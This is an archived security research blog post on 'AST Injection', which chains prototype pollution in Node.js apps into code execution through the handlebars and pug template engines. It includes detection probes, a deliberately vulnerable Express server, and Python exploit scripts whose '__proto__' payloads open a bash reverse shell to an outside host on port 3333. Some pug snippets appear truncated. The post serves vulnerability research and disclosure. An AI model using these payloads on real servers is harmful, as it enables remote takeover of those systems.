AST Injection, Prototype Pollution to RCE

AST Injection, Prototype Pollution to RCE - posix, POSIX.

- Published: 2020-08-04
- Original: <https://blog.p6.is/AST-Injection/>
- Preserved from: https://blog.p6.is/AST-Injection/ (stored) on 2026-08-09
- Capture timestamp: 20221216105629
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

>

This article describes how to trigger RCE in two well-known template engines, using a new technique called AST Injection.

AST Injection

What is AST?

>

https://en.wikipedia.org/wiki/Abstract_syntax_tree

AST in NodeJS

[image: img]

In NodeJS, AST is used in JS really often, as template engines and typescript etc. For the template engine, the structure is as shown above.

[image: img]

If prototype pollution vulnerability exists in the JS application, Any AST can be inserted in the function by making it insert during the `Parser` or `Compiler` process.

Here, you can insert AST without proper filtering of input (which has not been properly filtered) that has not been verified by lexer or parser. Then, we can give unexpected input to the compiler.

Below is how to actually use AST Injection to execute arbitrary commands in `handlebars` and `pug`

Handlebars

[image: img]

Until today, `handlebars` has been downloaded a total of `998,602,213` times. Handlebars are the most commonly used template engine except for ejs.

For newer versions, it is known to be safe because no command can be executed, even if any template can be inserted.

How to Detect

|

```
1
2
3
4
5
6
```

|

```
const Handlebars = require('handlebars');

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"}));
```

| |

Before you start, here's how to use templates in handlebars. The Handlebar.compile function converts a string into a template function and passes object factors for reference.

|

```
1
2
3
4
5
6
7
8
```

|

```
const Handlebars = require('handlebars');

Object.prototype.pendingContent = `<script>alert(origin)</script>`

const source = `Hello {{ msg }}`;
const template = Handlebars.compile(source);

console.log(template({"msg": "posix"}));
```

| |

In here, we can make influence to the compilation process using prototype pollution.

You can insert any string into `Object.prototype.pendingContent` to determine the possibility of an attack. This allows you to be sure that servers are using handlebars engine when a prototype pollution exists in a black-box environment.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
```

|

```
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->

...
appendContent: function appendContent(content) {
if (this.pendingContent) {
            content = this.pendingContent + content;
        } else {
this.pendingLocation = this.source.currentLocation;
        }

this.pendingContent = content;
},
pushSource: function pushSource(source) {
if (this.pendingContent) {
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
this.pendingContent = undefined;
        }

if (source) {
this.source.push(source);
        }
}
...
```

| |

This is done by the `appendContent` function of `javascript-compiler.js` `appendContent` is this.If `pendingContent` is present, append to the content and returns.

`pushSource` makes the `pendingContent` to `undefined`, preventing the string from being inserted multiple times.

Exploit

[image: img]

Handlebars work as shown in the graph above.

After lexer and parser generater AST, It passes to `compiler.js` We can run the template function compiler generated with some arguments. and It returns the string like “Hello posix” (when msg is posix)

|

```
1
2
3
4
5
```

|

```
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->

case 36:
  this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
  break;
```

| |

The parser in handlebars forces the value of a node whose type is NumberLiteral to always be a number through the Number constructor. However, you can insert a non-numeric string here using the prototype pollution.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
```

```
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->

function parseWithoutProcessing(input, options) {

  if (input.type === 'Program') {
    return input;
  }

  _parser2['default'].yy = yy;

  yy.locInfo = function (locInfo) {
    return new yy.SourceLocation(options && options.srcName, locInfo);
  };

  var ast = _parser2['default'].parse(input);

  return ast;
}

function parse(input, options) {
  var ast = parseWithoutProcessing(input, options);
  var strip = new _whitespaceControl2['default'](options);

  return strip.accept(ast);
}
```

| |

First, look at the compile function, and it supports two ways of input, AST Object and template string.

when input.type is a `Program`, although the input value is actually string. Parser considers it's already AST parsed by parser.js and send it to the compiler without any processing.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
```

```
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->

...
accept: function accept(node) {

  if (!this[node.type]) {
    throw new _exception2['default']('Unknown type: ' + node.type, node);
  }

  this.sourceNode.unshift(node);
  var ret = this[node.type](node);
  this.sourceNode.shift();
  return ret;
},
Program: function Program(program) {
  console.log((new Error).stack)
  this.options.blockParams.unshift(program.blockParams);

  var body = program.body,
    bodyLength = body.length;
  for (var i = 0; i < bodyLength; i++) {
    this.accept(body[i]);
  }

  this.options.blockParams.shift();

  this.isSimple = bodyLength === 1;
  this.blockParams = program.blockParams ? program.blockParams.length : 0;

  return this;
}
...
```

| |

The compiler given the AST Object (actually a string) send it to the `accept` method. and `accept` calls `this[node.type]` of Compiler. Then take body attribute of AST and use it for constructing function.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
```

```
const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
   "type": "MustacheStatement",
   "path": 0,
   "params": [{
      "type": "NumberLiteral",
      "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
   }],
   "loc": {
      "start": 0,
      "end": 0
   }
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());
```

| |

As a result, an attack can be configured like this. If you have gone through parser, specify a string that cannot be assigned to the value of NumberLiteral. But Injected AST processed, we can insert any code into the function.

Example

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
```

|

```
const express = require('express');
const { unflatten } = require('flat');
const bodyParser = require('body-parser');
const Handlebars  = require('handlebars');

const app = express();
app.use(bodyParser.json())

app.get('/', function (req, res) {
   var source = "<h1>It works!</h1>";
   var template = Handlebars.compile(source);
   res.end(template({}));
});

app.post('/vulnerable', function (req, res) {
   let object = unflatten(req.body);
   res.json(object);
});

app.listen(3000);
```

| |

Example of configuring a vulnerable server using a flat module it has prototype pollution vulnerability.

[image: img]

The flat is a popular module with 4.61 million downloads per week the patch for the prototype pollution vulnerablity reported has not yet been made.

>

https://github.com/hughsk/flat/issues/105

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
```

|

```
import requests

TARGET_URL = 'http://p6.is:3000'

requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
    }],
    "loc": {
      "start": 0,
      "end": 0
    }
  }]
})

requests.get(TARGET_URL)
```

| |

[image: img]

We can Insert the any command into the value to obtain the shell.

Pug

[image: img]

Until today, this `pug` has been downloaded a total of `65,827,719` times.

`pug` is a module that was previously developed under the name jade and renamed. According to statistics, it is the 4th most popular template engine in nodejs.

How to Detect

|

```
1
2
3
4
5
6
7
8
```

|

```
const pug = require('pug');

const source = `h1= msg`;

var fn = pug.compile(source);
var html = fn({msg: 'It works'});

console.log(html);
```

| |

A common way to use a template in a pug is as above. The pug.compile function converts a string into a template function and passes the object for reference.

|

```
1
2
3
4
5
6
7
8
9
10
```

|

```
const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);
```

| |

It is a method to check the use of pug template engine in a black-box environment using prototype pollution. When you insert AST into the `Object.prototype.block`, the compiler adds it to the buffer by referring to the val.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
```

|

```
switch (ast.type) {
  case 'NamedBlock':
  case 'Block':
    ast.nodes = walkAndMergeNodes(ast.nodes);
    break;
  case 'Case':
  case 'Filter':
  case 'Mixin':
  case 'Tag':
  case 'InterpolatedTag':
  case 'When':
  case 'Code':
  case 'While':
    if (ast.block) {
    ast.block = walkAST(ast.block, before, after, options);
    }
    break;
  ...
```

| |

When ast.type is `While`, it calls walkASK with `ast.block` (refers prototype if the value does not exist) If the template refer any value from argument, the While node is always exists, so the reliblity is considered quite high.

In fact, if developer don't have to refer to any values from argument in the template they wouldn't use any template engines in the first place.

Exploit

[image: img]

`Pug` work as shown in the graph above. Unlike `handlebars`, each process is separated into a separate module. AST generated by `pug-parser` is passed to the `pug-code-gen` and made into a function. and finally, it will be executed.

|

```
1
2
3
4
5
6
7
8
9
10
```

|

```
<!-- /node_modules/pug-code-gen/index.js -->

if (debug && node.debug !== false && node.type !== 'Block') {
  if (node.line) {
    var js = ';pug_debug_line = ' + node.line;
    if (node.filename)
      js += ';pug_debug_filename = ' + stringify(node.filename);
    this.buf.push(js + ';');
  }
}
```

| |

In the compiler of the pug, there is a variable that stores the line number named `pug_debug_line` for debugging. If the node.line value exists, it is added to the buffer, otherwise it is passed.

For AST generated with pug-parser, the `node.line` value is always specified as an integer. But, we can insert a string into the `node.line` through AST Injection and cause arbitrary code execution.

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
```

```
const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id')

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());
```

| |

Example of a generated function. You can see that the `Object.prototype.line` value is inserted in the right-hand side of the `pug_debug_line` definition.

|

```
1
2
3
4
5
6
7
8
9
10
```

|

```
const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id')

const source = `h1= msg`;

var fn = pug.compile(source);
var html = fn({msg: 'It works'});

console.log(html);
```

| |

As a result, an attack can be configured like this. By specifying a string in the `node.line` value, which is always defined as number through parser. So, any command could be inserted into the

function.

Example

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
```

|

```
const express = require('express');
const { unflatten } = require('flat');
const pug = require('pug');

const app = express();
app.use(require('body-parser').json())

app.get('/', function (req, res) {
  const template = pug.compile(`h1= msg`);
  res.end(template({msg: 'It works'}));
});

app.post('/vulnerable', function (req, res) {
  let object = unflatten(req.body);
  res.json(object);
});

app.listen(3000);
```

| |

As in the example of handlebars, flat used to configure the server. The template engine has been changed to `pug`

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
```

|

```
import requests

TARGET_URL = 'http://p6.is:3000'

requests.post(TARGET_URL + '/vulnerable', json = {
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
  }
})

requests.get(TARGET_URL)
```

| |

[image: img]

We can insert any code into the `block.line`, and get a shell.

Conclusion

I described how to make arbitrary command execution, through AST Injection on the JS template engines.

In fact, these parts are very hard to fix completely So I expect this to remain like EJS.